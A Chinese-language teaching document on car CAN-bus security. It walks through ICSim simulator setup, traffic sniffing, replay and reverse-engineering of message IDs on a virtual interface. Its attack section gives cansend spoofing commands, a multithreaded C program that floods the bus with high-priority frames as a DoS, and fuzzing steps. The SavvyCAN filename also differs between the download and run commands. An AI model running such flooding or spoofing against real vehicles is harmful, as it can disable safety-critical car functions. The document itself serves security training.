车辆CAN总线安全教学文档

1. CAN总线简介

CAN总线(Controller Area Network)是一种广泛应用于汽车、工业控制和其他领域的串行通信协议。由德国Bosch公司于1986年开发，1987年正式发布。

1.1 应用领域

• 汽车电子控制单元(ECU)间通信：引擎控制、刹车系统、仪表盘等
• 工业自动化、机器人技术、医疗设备等分布式控制系统

1.2 总线优势

• 替代传统点对点布线系统，减少线路复杂度
• 降低维护成本
• 提高通信效率

2. CAN总线接入方式

2.1 OBD接口接入

• 位置：通常位于前排乘客或驾驶员座位附近
• 相关引脚：6号(CAN高电平)和14号(CAN低电平)
• 连接工具：专用CAN总线分析工具

2.2 其他接入方式

• 破线接入：通过物理破坏线束接入
• 车内零部件控制：通过已攻克的零部件间接接入

3. 实验环境搭建

3.1 所需工具

• Linux系统(推荐Kali Linux)
• ICSim模拟器
• can-utils工具集
• socketcand
• CAN分析工具(SavvyCAN或Kayak)

3.2 ICSim安装

git clone https://github.com/zombieCraig/ICSim.git
cd ICSim
sudo apt install libsdl2-dev libsdl2-image-dev can-utils maven autoconf -y
sudo make

3.3 can-utils安装

sudo apt-get install can-utils

3.4 socketcand安装

git clone https://github.com/linux-can/socketcand.git
cd socketcand
wget https://raw.githubusercontent.com/dschanoeh/socketcand/master/config.h.in
autoconf
./configure
make clean
make
sudo make install

3.5 SavvyCAN安装

wget https://github.com/collin80/SavvyCAN/releases/download/continuous/SavvyCAN-1999da8-x86_64.AppImage
chmod 777 SavvyCAN-1999da8-x86_64.AppImage
./SavvyCAN-044fea3-x86_64.AppImage

3.6 启动ICSim

./setup_vcan.sh  # 初始化虚拟CAN接口
./icsim vcan0    # 启动仪表盘模拟器
./controls vcan0 # 启动控制面板

4. CAN总线基本操作

4.1 控制面板操作

4.2 CAN流量监听

4.2.1 使用can-utils

candump -l vcan0  # 记录到文件
candump vcan0     # 实时显示

数据格式：(时间戳) 接口 仲裁ID#数据

4.2.2 使用cansniffer

cansniffer -c vcan0

变化的数据会以红色显示

4.2.3 使用Wireshark

直接监听vcan0接口

4.2.4 使用SavvyCAN

1. Connection -> Open Connection Window
2. Add New Device Connection
3. 选择QT SerialBus Devices
4. SerialBus Devices选择socketcan
5. Port选择vcan0

4.3 CAN流量重放

canplayer -I 日志文件.log

4.4 消息逆向

通过观察法确定仲裁ID对应功能：

1. 在SavvyCAN中观察所有活跃ID
2. 执行特定操作(如踩油门)
3. 观察哪些ID的数据随之变化
4. 重复操作缩小范围，确定具体ID

4.5 发送CAN消息

cansend vcan0 244#0000003894

持续发送示例(Python)：

import os
import time
while True:
    os.system("cansend vcan0 244#0000003894")
    time.sleep(1)

5. CAN总线攻击技术

5.1 DOS攻击原理

利用CAN总线基于优先级的仲裁机制，通过发送高优先级消息使其他消息无法响应

5.2 手动DOS攻击

1. 确定低优先级操作：

cansend vcan0 19B#00000E000000  # 开车门
cansend vcan0 19B#00000F000000  # 关车门

2. 发送高优先级消息干扰：

cansend vcan0 188#01000000  # 左转向灯(高优先级)

5.3 多线程DOS攻击(C语言)

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>

void *send_message(void *arg) {
    while(1) {
        system("cansend vcan0 188#01000000");
    }
    return NULL;
}

int main() {
    pthread_t threads[100];
    for(int i = 0; i < 100; i++) {
        pthread_create(&threads[i], NULL, send_message, NULL);
    }
    while(1) {
        sleep(1);
    }
    return 0;
}

编译运行：

gcc -o attack main.c -pthread
./attack

5.4 FUZZ攻击

通过发送特定CAN数据帧使车内零部件崩溃或发出警报：

1. 需要实际接入车辆测试
2. 不断修改数据帧进行测试
3. 观察系统反应

6. 防御措施

1. CAN总线入侵检测系统
2. 消息认证机制
3. 加密通信
4. 防火墙隔离关键ECU
5. 速率限制和异常检测

7. 参考资源

1. ICSim GitHub
2. can-utils GitHub
3. socketcand GitHub
4. SavvyCAN官方网站
5. 汽车CAN总线安全研究论文

本教学文档详细介绍了CAN总线的基本概念、实验环境搭建、基本操作和安全测试技术，涵盖了从入门到实战的完整内容。通过ICSim模拟器，安全研究人员可以在不接触真实车辆的情况下学习和实践CAN总线安全技术。